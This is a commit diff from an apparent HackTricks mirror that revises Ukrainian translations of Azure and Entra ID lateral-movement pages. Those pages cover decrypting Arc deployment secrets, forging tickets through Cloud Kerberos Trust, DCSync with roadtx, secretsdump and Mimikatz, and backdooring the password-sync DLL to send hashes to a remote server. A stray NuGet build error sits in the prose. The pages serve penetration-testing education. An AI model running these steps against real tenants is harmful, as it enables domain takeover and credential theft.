mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
Translator
@@ -8,7 +8,7 @@
|
||||
|
||||
## Техніки півотування
|
||||
|
||||
- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): Якщо зловмисник може контролювати або створити обліковий запис комп'ютера AD і отримати доступ до спільного використання розгортання GPO Azure Arc, він може розшифрувати збережений секрет Service Principal і використовувати його для автентифікації в Azure як асоційований сервісний принципал, повністю скомпрометувавши пов'язане середовище Azure.
|
||||
- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): Якщо зловмисник може контролювати або створити обліковий запис комп'ютера AD і отримати доступ до спільного використання GPO розгортання Azure Arc, він може розшифрувати збережений секрет Service Principal і використовувати його для автентифікації в Azure як асоційований сервісний принципал, повністю скомпрометувавши пов'язане середовище Azure.
|
||||
|
||||
- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Як півотувати з Entra ID в AD, коли налаштовано Cloud Kerberos Trust. Глобальний адміністратор в Entra ID (Azure AD) може зловживати Cloud Kerberos Trust і API синхронізації, щоб видавати себе за облікові записи AD з високими привілеями, отримувати їх квитки Kerberos або NTLM хеші та повністю скомпрометувати локальний Active Directory — навіть якщо ці облікові записи ніколи не були синхронізовані з хмарою — ефективно забезпечуючи ескалацію привілеїв з хмари до AD.
|
||||
|
||||
|
||||
+5
-5
@@ -9,11 +9,11 @@ Azure Arc дозволяє інтегрувати нові внутрішні с
|
||||
При виконанні скрипт DeployGPO.ps1 виконує такі дії:
|
||||
|
||||
1. Створює GPO для приєднання серверів Azure Arc у локальному домені.
|
||||
2. Копіює скрипт приєднання EnableAzureArc.ps1 на вказану мережеву папку, створену для процесу приєднання, яка також містить пакет установника Windows.
|
||||
2. Копіює скрипт приєднання EnableAzureArc.ps1 до призначеного мережевого ресурсу, створеного для процесу приєднання, який також містить пакет установника Windows.
|
||||
|
||||
При запуску цього скрипта адміністраторам систем потрібно надати два основні параметри: **ServicePrincipalId** та **ServicePrincipalClientSecret**. Крім того, потрібні інші параметри, такі як домен, FQDN сервера, що хостить загальний доступ, та ім'я загального доступу. Додаткові деталі, такі як ідентифікатор орендаря, група ресурсів та інша необхідна інформація також повинні бути надані скрипту.
|
||||
При запуску цього скрипта адміністраторам систем потрібно надати два основні параметри: **ServicePrincipalId** та **ServicePrincipalClientSecret**. Крім того, потрібні інші параметри, такі як домен, FQDN сервера, що хостить ресурс, та ім'я ресурсу. Додаткові деталі, такі як ідентифікатор орендаря, група ресурсів та інша необхідна інформація, також повинні бути надані скрипту.
|
||||
|
||||
Зашифрований секрет генерується в каталозі AzureArcDeploy на вказаному загальному доступі за допомогою шифрування DPAPI-NG. Зашифрований секрет зберігається у файлі з назвою encryptedServicePrincipalSecret. Доказом цього є скрипт DeployGPO.ps1, де шифрування виконується шляхом виклику ProtectBase64 з $descriptor та $ServicePrincipalSecret як вхідними даними. Дескриптор складається з SID груп комп'ютерів домену та контролерів домену, що забезпечує, що ServicePrincipalSecret може бути розшифрований лише контролерами домену та групами безпеки комп'ютерів домену, як зазначено в коментарях до скрипту.
|
||||
Зашифрований секрет генерується в каталозі AzureArcDeploy на вказаному ресурсі за допомогою шифрування DPAPI-NG. Зашифрований секрет зберігається у файлі з назвою encryptedServicePrincipalSecret. Доказ цього можна знайти у скрипті DeployGPO.ps1, де шифрування виконується шляхом виклику ProtectBase64 з $descriptor та $ServicePrincipalSecret як вхідними даними. Дескриптор складається з SID груп комп'ютерів домену та контролерів домену, що забезпечує, щоб ServicePrincipalSecret міг бути розшифрований лише контролерами домену та групами безпеки комп'ютерів домену, як зазначено в коментарях до скрипту.
|
||||
```bash
|
||||
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
|
||||
$DomainComputersSID = "SID=" + $DomainComputersSID
|
||||
@@ -30,7 +30,7 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
|
||||
2. У нас є можливість створити або взяти під контроль обліковий запис комп'ютера в Active Directory.
|
||||
3. Ми виявили мережевий ресурс, що містить каталог AzureArcDeploy.
|
||||
|
||||
Існує кілька методів отримання облікового запису машини в середовищі AD. Один з найпоширеніших - це експлуатація квоти облікових записів машин. Інший метод передбачає компрометацію облікового запису машини через вразливі ACL або різні інші неправильні налаштування.
|
||||
Існує кілька методів отримання облікового запису машини в середовищі AD. Один з найпоширеніших - це експлуатація квоти облікових записів машин. Інший метод полягає в компрометації облікового запису машини через вразливі ACL або різні інші неправильні налаштування.
|
||||
```bash
|
||||
Import-MKodule powermad
|
||||
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
|
||||
@@ -54,7 +54,7 @@ $ebs
|
||||
```
|
||||
Альтернативно, ми можемо використовувати [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG).
|
||||
|
||||
На цьому етапі ми можемо зібрати залишкову інформацію, необхідну для підключення до Azure з файлу ArcInfo.json, який зберігається на тому ж мережевому загальному доступі, що й файл encryptedServicePrincipalSecret. Цей файл містить деталі, такі як: TenantId, servicePrincipalClientId, ResourceGroup та інше. З цією інформацією ми можемо використовувати Azure CLI для автентифікації як скомпрометований сервісний принципал.
|
||||
На цьому етапі ми можемо зібрати залишкову інформацію, необхідну для підключення до Azure з файлу ArcInfo.json, який зберігається на тому ж мережевому загальному доступі, що й файл encryptedServicePrincipalSecret. Цей файл містить такі деталі, як: TenantId, servicePrincipalClientId, ResourceGroup та інше. З цією інформацією ми можемо використовувати Azure CLI для автентифікації як скомпрометований сервісний принципал.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
+11
-11
@@ -1,14 +1,14 @@
|
||||
# Az - Cloud Kerberos Trust
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Ця стаття є резюме** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **яке можна перевірити для отримання додаткової інформації про атаку. Цю техніку також обговорюють у** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
|
||||
**Ця публікація є підсумком** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **яка може бути перевірена для отримання додаткової інформації про атаку. Цю техніку також коментують у** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
|
||||
|
||||
## Огляд відносин довіри Kerberos
|
||||
|
||||
**Cloud Kerberos Trust (Entra ID -> AD)** -- Ця функція (частина Windows Hello for Business) встановлює односторонню довіру, де on-prem AD **довіряє Entra ID** для видачі квитків Kerberos для AD. Увімкнення цієї функції створює об'єкт комп'ютера **AzureADKerberos$** в AD (який з'являється як Контролер домену тільки для читання) та пов'язаний обліковий запис **`krbtgt_AzureAD`** (додатковий KRBTGT). Entra ID зберігає ключі для цих облікових записів і може видавати "часткові" TGT Kerberos для користувачів AD. Контролери домену AD визнають ці квитки, але з обмеженнями, подібними до RODC: за замовчуванням **групам з високими привілеями (Domain Admins, Enterprise Admins тощо) *відмовлено***, а звичайним користувачам дозволено. Це запобігає Entra ID від автентифікації доменних адміністраторів через довіру в нормальних умовах. Однак, як ми побачимо, зловмисник з достатніми привілеями Entra ID може зловживати цим дизайном довіри.
|
||||
**Cloud Kerberos Trust (Entra ID -> AD)** -- Ця функція (частина Windows Hello for Business) встановлює односторонню довіру, де on-prem AD **довіряє Entra ID** для видачі квитків Kerberos для AD. Увімкнення цієї функції створює об'єкт комп'ютера **AzureADKerberos$** в AD (який з'являється як контролер домену тільки для читання) та пов'язаний обліковий запис **`krbtgt_AzureAD`** (додатковий KRBTGT). Entra ID зберігає ключі для цих облікових записів і може видавати "часткові" TGT Kerberos для користувачів AD. Контролери домену AD визнають ці квитки, але з обмеженнями, подібними до RODC: за замовчуванням **групи з високими привілеями (Domain Admins, Enterprise Admins тощо) *заборонені***, а звичайним користувачам дозволено. Це запобігає Entra ID від автентифікації доменних адміністраторів через довіру за звичайних умов. Однак, як ми побачимо, зловмисник з достатніми привілеями Entra ID може зловживати цим дизайном довіри.
|
||||
|
||||
## Поворот з Entra ID до On-Prem AD
|
||||
## Переходження з Entra ID до On-Prem AD
|
||||
|
||||
**Сценарій:** Цільова організація має **Cloud Kerberos Trust** увімкненим для безпарольної автентифікації. Зловмисник отримав **Global Administrator** привілеї в Entra ID (Azure AD), але ще **не** контролює on-prem AD. Зловмисник також має доступ до мережі контролера домену (через VPN або Azure VM в гібридній мережі). Використовуючи довіру в хмарі, зловмисник може скористатися контролем Azure AD, щоб отримати **Domain Admin**-рівень доступу в AD.
|
||||
|
||||
@@ -18,13 +18,13 @@
|
||||
|
||||
- Зловмисник має права **Global Admin (або Hybrid Identity Admin)** в орендарі Entra ID (ці ролі можуть використовувати **API синхронізації** AD Connect для зміни користувачів Azure AD).
|
||||
|
||||
- Принаймні один **гібридний обліковий запис користувача** (існує в AD та AAD), під яким зловмисник може автентифікуватися. Це можна отримати, знаючи або скидаючи його облікові дані або призначивши безпарольний метод (наприклад, Тимчасовий доступний пропуск) для генерації первинного токена оновлення (PRT) для нього.
|
||||
- Принаймні один **гібридний обліковий запис користувача** (існує в AD та AAD), під яким зловмисник може автентифікуватися. Це може бути отримано, знаючи або скидаючи його облікові дані або призначаючи безпарольний метод (наприклад, Тимчасовий доступний пропуск) для генерації первинного токена оновлення (PRT) для нього.
|
||||
|
||||
- **Обліковий запис цільового on-prem AD** з високими привілеями, який *не* входить до стандартної політики "відмови" RODC. На практиці, хорошою ціллю є **обліковий запис синхронізації AD Connect** (часто називається **MSOL_***), який має права DCSync (реплікації) в AD, але зазвичай не є членом вбудованих адміністративних груп. Цей обліковий запис зазвичай не синхронізується з Entra ID, що робить його SID доступним для підробки без конфлікту.
|
||||
- **Обліковий запис цільового on-prem AD** з високими привілеями, який *не* входить до стандартної політики "заборони" RODC. На практиці, чудовою метою є **обліковий запис синхронізації AD Connect** (часто називається **MSOL_***), який має права DCSync (реплікації) в AD, але зазвичай не є членом вбудованих адміністративних груп. Цей обліковий запис зазвичай не синхронізується з Entra ID, що робить його SID доступним для підробки без конфлікту.
|
||||
|
||||
**Кроки атаки:**
|
||||
|
||||
1. **Отримати доступ до API синхронізації Azure AD:** Використовуючи обліковий запис Global Admin, отримайте токен доступу для **API Provisioning (sync)** Azure AD. Це можна зробити за допомогою інструментів, таких як **ROADtools** або **AADInternals**. Наприклад, з ROADtools (roadtx):
|
||||
1. **Отримати доступ до API синхронізації Azure AD:** Використовуючи обліковий запис Global Admin, отримайте токен доступу для **Provisioning (sync) API** Azure AD. Це можна зробити за допомогою інструментів, таких як **ROADtools** або **AADInternals**. Наприклад, з ROADtools (roadtx):
|
||||
```bash
|
||||
# Using roadtx to get an Azure AD Graph token (no MFA)
|
||||
roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
|
||||
@@ -38,7 +38,7 @@ python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
--sourceanchor <ImmutableID_of_User>\
|
||||
--sid <TargetAD_SID> --sam <TargetAD_SAMName>
|
||||
```
|
||||
> `sourceAnchor` (незмінний ID) користувача потрібен для ідентифікації об'єкта Azure AD, який потрібно змінити. Інструмент встановлює SID та ім'я облікового запису SAM гібридного користувача на значення цільового (наприклад, SID та SAM облікового запису MSOL_xxxx). Azure AD зазвичай не дозволяє змінювати ці атрибути через Graph (вони лише для читання), але API служби синхронізації це дозволяє, і Глобальні адміністратори можуть викликати цю функціональність синхронізації.
|
||||
> `sourceAnchor` (незмінний ID) користувача потрібен для ідентифікації об'єкта Azure AD, який потрібно змінити. Інструмент встановлює SID та ім'я облікового запису SAM гібридного користувача на значення цільового (наприклад, SID та SAM облікового запису MSOL_xxxx). Azure AD зазвичай не дозволяє змінювати ці атрибути через Graph (вони є тільки для читання), але API служби синхронізації це дозволяє, і Глобальні адміністратори можуть викликати цю функціональність синхронізації.
|
||||
|
||||
3. **Отримати частковий TGT з Azure AD:** Після зміни, автентифікуйтеся як гібридний користувач в Azure AD (наприклад, отримавши PRT на пристрої або використовуючи їхні облікові дані). Коли користувач входить в систему (особливо на пристрої, приєднаному до домену або Entra), Azure AD видасть **частковий Kerberos TGT (TGT**<sub>**AD**</sub>) для цього облікового запису, оскільки активовано Cloud Kerberos Trust. Цей частковий TGT зашифрований за допомогою ключа AzureADKerberos$ RODC і включає **цільовий SID**, який ми встановили. Ми можемо змоделювати це, запитавши PRT для користувача через ROADtools:
|
||||
```bash
|
||||
@@ -46,14 +46,14 @@ roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
|
||||
```
|
||||
Це виводить файл `.prt`, що містить частковий TGT та ключ сесії. Якщо обліковий запис був лише хмарним паролем, Azure AD все ще включає TGT_AD у відповіді PRT.
|
||||
|
||||
4. **Обмін часткового TGT на повний TGT (на AD):** Частковий TGT тепер можна представити локальному контролеру домену для отримання **повного TGT** для цільового облікового запису. Ми робимо це, виконуючи запит TGS для служби `krbtgt` (основна служба TGT домену) -- по суті, оновлюючи квиток до нормального TGT з повним PAC. Інструменти доступні для автоматизації цього обміну. Наприклад, використовуючи скрипт ROADtools Hybrid:
|
||||
4. **Обмін часткового TGT на повний TGT (на AD):** Частковий TGT тепер можна представити локальному контролеру домену, щоб отримати **повний TGT** для цільового облікового запису. Ми робимо це, виконуючи запит TGS для служби `krbtgt` (основна служба TGT домену) -- по суті, оновлюючи квиток до нормального TGT з повним PAC. Інструменти доступні для автоматизації цього обміну. Наприклад, використовуючи скрипт ROADtools Hybrid:
|
||||
```bash
|
||||
# Use the partial TGT from the PRT file to get a full TGT and NTLM hash
|
||||
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
|
||||
```
|
||||
Цей скрипт (або еквіваленти Impacket) зв'яжеться з Контролером Домену та отримає дійсний TGT для цільового облікового запису AD, включаючи NTLM хеш облікового запису, якщо використовується спеціальне розширення Kerberos. Розширення **`KERB-KEY-LIST-REQ`** автоматично включається, щоб попросити DC повернути NTLM хеш цільового облікового запису в зашифрованій відповіді. Результатом є кеш облікових даних (`full_tgt.ccache`) для цільового облікового запису *або* відновлений NTLM хеш пароля.
|
||||
|
||||
5. **Вдавання під ціль і підвищення до адміністратора домену:** Тепер атакуючий фактично **контролює цільовий обліковий запис AD**. Наприклад, якщо ціллю був обліковий запис AD Connect **MSOL**, він має права на реплікацію в каталозі. Атакуючий може виконати атаку **DCSync**, використовуючи облікові дані цього облікового запису або Kerberos TGT, щоб скинути хеші паролів з AD (включаючи обліковий запис домену KRBTGT). Наприклад:
|
||||
5. **Вдавання за ціль та підвищення до адміністратора домену:** Тепер атакуючий ефективно **контролює цільовий обліковий запис AD**. Наприклад, якщо ціллю був обліковий запис AD Connect **MSOL**, він має права на реплікацію в каталозі. Атакуючий може виконати атаку **DCSync**, використовуючи облікові дані цього облікового запису або Kerberos TGT, щоб скинути хеші паролів з AD (включаючи обліковий запис домену KRBTGT). Наприклад:
|
||||
```bash
|
||||
# Using impacket's secretsdump to DCSync as the MSOL account (using NTLM hash)
|
||||
secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
|
||||
@@ -72,4 +72,4 @@ secretsdump.py 'AD_DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash> LOCAL
|
||||
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+12
-10
@@ -1,6 +1,7 @@
|
||||
# Az - Cloud Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Основна інформація
|
||||
|
||||
@@ -8,7 +9,7 @@
|
||||
|
||||
[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync - це нова пропозиція від Microsoft, розроблена для досягнення ваших цілей гібридної ідентичності для синхронізації користувачів, груп і контактів до Microsoft Entra ID. Це досягається за допомогою агента постачання Microsoft Entra в хмарі замість програми Microsoft Entra Connect. Однак його можна використовувати разом з Microsoft Entra Connect Sync.
|
||||
|
||||
### Сгенеровані принципали
|
||||
### Згенеровані принципали
|
||||
|
||||
Для того, щоб це працювало, деякі принципали створюються як в Entra ID, так і в локальному каталозі:
|
||||
|
||||
@@ -19,7 +20,7 @@
|
||||
|
||||
- В Entra ID також створюється група **`AAD DC Administrators`** без членів або власників. Ця група корисна, якщо використовується [`Microsoft Entra Domain Services`](./az-domain-services.md).
|
||||
|
||||
- В AD або створюється обліковий запис служби **`provAgentgMSA`** з SamAcountName, як **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), або користувацький, з [**цими дозволами**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Зазвичай створюється стандартний.
|
||||
- В AD або створюється обліковий запис служби **`provAgentgMSA`** з SamAcountName, як **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), або користувацький, з [**цими дозволами**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Зазвичай створюється за замовчуванням.
|
||||
|
||||
> [!WARNING]
|
||||
> Серед інших дозволів обліковий запис служби **`provAgentgMSA`** має дозволи DCSync, що дозволяє **будь-кому, хто його скомпрометує, скомпрометувати весь каталог**. Для отримання додаткової інформації про [DCSync перегляньте це](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
@@ -36,9 +37,10 @@ az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **Синхронізація хешів паролів** може бути увімкнена, щоб користувачі могли **увійти в Entra ID, використовуючи свої паролі з AD**. Більше того, коли пароль змінюється в AD, він буде оновлений в Entra ID.
|
||||
- **Запис паролів** також може бути увімкнений, що дозволяє користувачам змінювати свій пароль в Entra ID, автоматично синхронізуючи їх пароль в локальному домені. Але відповідно до [поточних документів](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), для цього потрібно використовувати Connect Agent, тому ознайомтеся з [розділом Az Connect Sync](./az-connect-sync.md) для отримання додаткової інформації.
|
||||
- **Запис паролів** також може бути увімкнений, що дозволяє користувачам змінювати свій пароль в Entra ID, автоматично синхронізуючи їх пароль в локальному домені. Але відповідно до [поточних документів](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), для цього потрібно використовувати Connect Agent, тому зверніть увагу на [розділ Az Connect Sync](./az-connect-sync.md) для отримання додаткової інформації.
|
||||
- **Запис груп**: Ця функція дозволяє синхронізувати членство груп з Entra ID назад до локального AD. Це означає, що якщо користувача додають до групи в Entra ID, його також додадуть до відповідної групи в AD.
|
||||
|
||||
|
||||
## Півотування
|
||||
|
||||
### AD --> Entra ID
|
||||
@@ -87,7 +89,7 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i
|
||||
../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
Щодо постійності, [цей блог](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) пропонує, що можливо використовувати [**dnSpy**](https://github.com/dnSpy/dnSpy) для створення бекдору в dll **`Microsoft.Online.Passwordsynchronisation.dll`**, розташованій у **`C:\Program Files\Microsoft Azure AD Sync\Bin`**, яка використовується агентом Cloud Sync для виконання синхронізації паролів, змушуючи її ексфільтрувати хеші паролів користувачів, що синхронізуються, на віддалений сервер. Хеші генеруються в класі **`PasswordHashGenerator`**, і в блозі пропонується додати деякий код, щоб клас виглядав так (зверніть увагу на `use System.Net` і використання `WebClient` для ексфільтрації хешів паролів):
|
||||
Щодо постійності, [цей блог](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) пропонує, що можливо використовувати [**dnSpy**](https://github.com/dnSpy/dnSpy) для створення бекдору в dll **`Microsoft.Online.Passwordsynchronisation.dll`**, розташованій у **`C:\Program Files\Microsoft Azure AD Sync\Bin`**, яка використовується агентом Cloud Sync для виконання синхронізації паролів, змушуючи її ексфільтрувати хеші паролів користувачів, які синхронізуються, на віддалений сервер. Хеші генеруються в класі **`PasswordHashGenerator`**, і в блозі пропонується додати деякий код, щоб клас виглядав так (зверніть увагу на `use System.Net` і використання `WebClient` для ексфільтрації хешів паролів):
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
@@ -121,13 +123,13 @@ RawHash = passwordHashData.RawHash
|
||||
}
|
||||
}
|
||||
```
|
||||
NuGet Package restore failed for project AzTokenFinder: Не вдалося знайти версію '4.3.2' пакету 'System.Security.Cryptography.X509Certificates'.
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Пакет 'System.Security.Cryptography.X509Certificates.4.3.2' не знайдено в джерелі 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
|
||||
. Будь ласка, перегляньте вікно списку помилок для детальних попереджень і помилок.
|
||||
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
|
||||
. Please see Error List window for detailed warnings and errors.
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- Якщо **Password Writeback** увімкнено, ви можете змінити пароль деяких користувачів з Entra ID, і якщо у вас є доступ до мережі AD, підключитися, використовуючи їх. Для отримання додаткової інформації перегляньте розділ [Az Connect Sync](./az-connect-sync.md), оскільки функція скидання пароля налаштовується за допомогою цього агента.
|
||||
- Якщо **Password Writeback** увімкнено, ви можете змінити пароль деяких користувачів з Entra ID, і якщо у вас є доступ до мережі AD, підключитися, використовуючи їх. Для отримання додаткової інформації перегляньте розділ [Az Connect Sync section](./az-connect-sync.md), оскільки функція скидання пароля налаштовується за допомогою цього агента.
|
||||
|
||||
- На даний момент Cloud Sync також дозволяє **"Microsoft Entra ID to AD"**, але після тривалого часу я виявив, що він НЕ МОЖЕ синхронізувати користувачів EntraID з AD і що він може синхронізувати лише користувачів з EntraID, які були синхронізовані з хешем пароля і походять з домену, що належить до того ж лісу доменів, до якого ми синхронізуємо, як ви можете прочитати в [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
@@ -148,4 +150,4 @@ az rest \
|
||||
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+13
-13
@@ -1,6 +1,6 @@
|
||||
# Az - Connect Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
@@ -16,12 +16,12 @@
|
||||
az-cloud-sync.md
|
||||
{{#endref}}
|
||||
|
||||
### Згенеровані принципи
|
||||
### Згенеровані принципали
|
||||
|
||||
- Обліковий запис **`MSOL_<installationID>`** автоматично створюється в локальному AD. Цей обліковий запис отримує роль **Directory Synchronization Accounts** (див. [документацію](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), що означає, що він має **дозволи на реплікацію (DCSync) в локальному AD**.
|
||||
- Це означає, що будь-хто, хто скомпрометує цей обліковий запис, зможе скомпрометувати локальний домен.
|
||||
- У локальному AD створюється керований обліковий запис служби **`ADSyncMSA<id>`** без будь-яких спеціальних привілеїв за замовчуванням.
|
||||
- В Entra ID створюється обліковий запис служби **`ConnectSyncProvisioning_ConnectSync_<id>`** з сертифікатом.
|
||||
- У Entra ID створюється обліковий принципал **`ConnectSyncProvisioning_ConnectSync_<id>`** з сертифікатом.
|
||||
|
||||
## Синхронізація паролів
|
||||
|
||||
@@ -86,11 +86,11 @@ az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronizat
|
||||
Паролі користувача **`MSOL_*`** (та користувача **Sync\_\***, якщо він створений) **зберігаються в SQL сервері** на сервері, де **встановлено Entra ID Connect.** Адміністратори можуть витягувати паролі цих привілейованих користувачів у відкритому вигляді.\
|
||||
База даних знаходиться за адресою `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
Можливо витягти конфігурацію з однієї з таблиць, одна з яких зашифрована:
|
||||
Можна витягти конфігурацію з однієї з таблиць, одна з яких зашифрована:
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
**Зашифрована конфігурація** зашифрована за допомогою **DPAPI** і містить **паролі користувача `MSOL_*`** в on-prem AD та пароль **Sync\_\*** в AzureAD. Тому, компрометуючи ці дані, можна отримати привілейований доступ до AD та AzureAD.
|
||||
**Зашифрована конфігурація** зашифрована за допомогою **DPAPI** і містить **паролі користувача `MSOL_*`** в on-prem AD та пароль **Sync\_\*** в AzureAD. Тому, компрометуючи ці дані, можна підвищити привілеї до AD та AzureAD.
|
||||
|
||||
Ви можете знайти [повний огляд того, як ці облікові дані зберігаються та розшифровуються в цій доповіді](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
@@ -112,7 +112,7 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!WARNING]
|
||||
> Попередні атаки скомпрометували інший пароль, щоб підключитися до користувача Entra ID, якого називають `Sync_*`, а потім скомпрометувати Entra ID. Однак цей користувач більше не існує.
|
||||
> Попередні атаки скомпрометували інший пароль, щоб потім підключитися до користувача Entra ID з ім'ям `Sync_*` і скомпрометувати Entra ID. Однак цей користувач більше не існує.
|
||||
|
||||
### Зловживання ConnectSyncProvisioning_ConnectSync\_<id>
|
||||
|
||||
@@ -128,7 +128,7 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
|
||||
Зазначено, що SP цього додатку все ще може бути використаний для виконання деяких привілейованих дій за допомогою не задокументованого API, але, наскільки мені відомо, жодного PoC ще не знайдено.\
|
||||
У будь-якому випадку, вважаючи, що це може бути можливим, було б цікаво далі дослідити, як знайти сертифікат для входу як цей сервісний принципал і спробувати зловживати ним.
|
||||
|
||||
Цей [блог пост](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) був опублікований незадовго до зміни з використання `Sync_*` користувача на цей сервісний принципал, пояснив, що сертифікат зберігався всередині сервера і його можна було знайти, згенерувати PoP (Proof of Possession) і граф токен, і з цим мати можливість додати новий сертифікат до сервісного принципала (оскільки **сервісний принципал** завжди може призначити собі нові сертифікати) і потім використовувати його для підтримки постійності як SP.
|
||||
Цей [блог пост](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) був опублікований незадовго до зміни з використання користувача `Sync_*` на цього сервісного принципала, пояснив, що сертифікат зберігався всередині сервера і його можна було знайти, згенерувати PoP (Proof of Possession) і граф токен, і з цим мати можливість додати новий сертифікат до сервісного принципала (оскільки **сервісний принципал** завжди може призначити собі нові сертифікати) і потім використовувати його для підтримки постійності як SP.
|
||||
|
||||
Для виконання цих дій опубліковані наступні інструменти: [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
|
||||
|
||||
@@ -137,7 +137,7 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
|
||||
### Зловживання Sync\_\* [DEPRECATED]
|
||||
|
||||
> [!WARNING]
|
||||
> Раніше в Entra ID був створений користувач під назвою `Sync_*` з дуже чутливими дозволами, які дозволяли виконувати привілейовані дії, такі як зміна пароля будь-якого користувача або додавання нових облікових даних до сервісного принципала. Однак з січня 2025 року цей користувач більше не створюється за замовчуванням, оскільки тепер використовується додаток/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Однак він все ще може бути присутнім в деяких середовищах, тому варто перевірити його наявність.
|
||||
> Раніше в Entra ID був створений користувач з ім'ям `Sync_*` з дуже чутливими дозволами, які дозволяли виконувати привілейовані дії, такі як зміна пароля будь-якого користувача або додавання нових облікових даних до сервісного принципала. Однак з січня 2025 року цей користувач більше не створюється за замовчуванням, оскільки тепер використовується додаток/SP **`ConnectSyncProvisioning_ConnectSync_<id>`**. Однак він все ще може бути присутнім в деяких середовищах, тому варто перевірити його наявність.
|
||||
|
||||
